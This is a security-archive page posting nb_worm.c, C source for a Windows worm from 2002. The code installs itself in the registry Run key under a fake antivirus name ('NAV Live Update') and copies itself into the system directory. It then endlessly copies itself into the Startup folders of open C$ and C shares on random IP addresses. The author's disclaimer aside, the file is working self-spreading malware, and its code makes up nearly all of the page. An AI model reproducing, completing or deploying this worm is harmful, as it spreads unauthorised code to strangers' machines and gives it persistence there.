exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

nb_worm.c

nb_worm.c
Posted Dec 6, 2002
Authored by r-22 | Site manshadow.org

Netbios Worm v1.0 is a simple program which shows how a worm can spread across netbios shares.

tags | worm
SHA-256 | 5537a2f48a21330e64b052695d14ffa0b6b83bfeb27f1a5920b8dbc6e6617e57

nb_worm.c

Change Mirror Download
/*
nb_worm 1.0

coded by: r-22
date: 12.05.02
e-mail: admin@manshadow.org
www: http://www.manshadow.org/

this is just a simple program to show
how to make a worm that spreads across
through netbios shares, this is
actually a chopped version of 4x10m
an irc bot i am working on currently
this code is not meant to be used
in a malicious manner and the writer
of this code is not to be held responsible
for any damage that is a result of the
use of this code

shouts to:
strychnine, uniTy, rabbit, m03
cThReE, aol secrets and #niz2k

*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define WIN32_LEAN_AND_MEAN

#define APP_VERSION "nb_worm 1.0"


/* prototypes */
void InstallReg();
void MoveLocal();
void MoveNetBIOS();
void GetRandIP(const char *ip_addr);

/* main program code */
int main(int argc, char *argv[])
{

InstallReg();
MoveLocal();
while (1)
{
MoveNetBIOS();
Sleep(2000);
}
return 0;
}


/* install registry keys */
void InstallReg()
{
HKEY reg_key;
char reg_val[16] = "NAV Live Update";
char app_name[MAX_PATH];

GetModuleFileName(GetModuleHandle(NULL), app_name, sizeof(app_name));
RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &reg_key, NULL);
RegSetValueEx(reg_key, reg_val, 0, REG_SZ, (const unsigned char *)&app_name, sizeof(app_name) +1 );
RegCloseKey(reg_key);
}


/* change bot location to %SystemRoot% */
void MoveLocal()
{
char sysdir[MAX_PATH];
char app_name[MAX_PATH];
char base_name[MAX_PATH];
char *file_name;

GetModuleFileName(GetModuleHandle(NULL), app_name, sizeof(app_name));
GetSystemDirectory(sysdir, sizeof(sysdir));
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, sysdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
}


/* copy bot to startup directory of remote machine */
void MoveNetBIOS()
{
char netdir[MAX_PATH];
char app_name[MAX_PATH];
char base_name[MAX_PATH];
char *file_name;
char ip_addr[16];

GetModuleFileName(GetModuleHandle(NULL), app_name, sizeof(app_name));
/* Windows 2000 and Windows XP startup directory */
strcpy(netdir, "\\\\");
GetRandIP(ip_addr);
strcat(netdir, ip_addr);
strcat(netdir, "\\C$\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup");
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, netdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
/* Windows 95/98 and Windows ME startup directory */
strcpy(netdir, "\\\\");
GetRandIP(ip_addr);
strcat(netdir, ip_addr);
strcat(netdir, "\\C\\WINDOWS\\Start Menu\\Programs\\Startup"); /* do not use C$ */
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, netdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
/* Windows NT startup directory */
strcpy(netdir, "\\\\");
GetRandIP(ip_addr);
strcat(netdir, ip_addr);
strcat(netdir, "\\C$\\WINNT\\All Users\\Start Menu\\Programs\\Startup");
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, netdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
}


/* return a random ip from 1.1.1.1 to 254.254.254.254 */
void GetRandIP(const char *ip_addr)
{
char ip_addr_a[4];
char ip_addr_b[4];
char ip_addr_c[4];
char ip_addr_d[4];

srand(time(NULL));
itoa(rand() % 253 + 1, ip_addr_a, 10);
itoa(rand() % 253 + 1, ip_addr_b, 10);
itoa(rand() % 253 + 1, ip_addr_c, 10);
itoa(rand() % 253 + 1, ip_addr_d, 10);
strcpy((char *)ip_addr, ip_addr_a);
strcat((char *)ip_addr, ".");
strcat((char *)ip_addr, ip_addr_b);
strcat((char *)ip_addr, ".");
strcat((char *)ip_addr, ip_addr_c);
strcat((char *)ip_addr, ".");
strcat((char *)ip_addr, ip_addr_d);
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close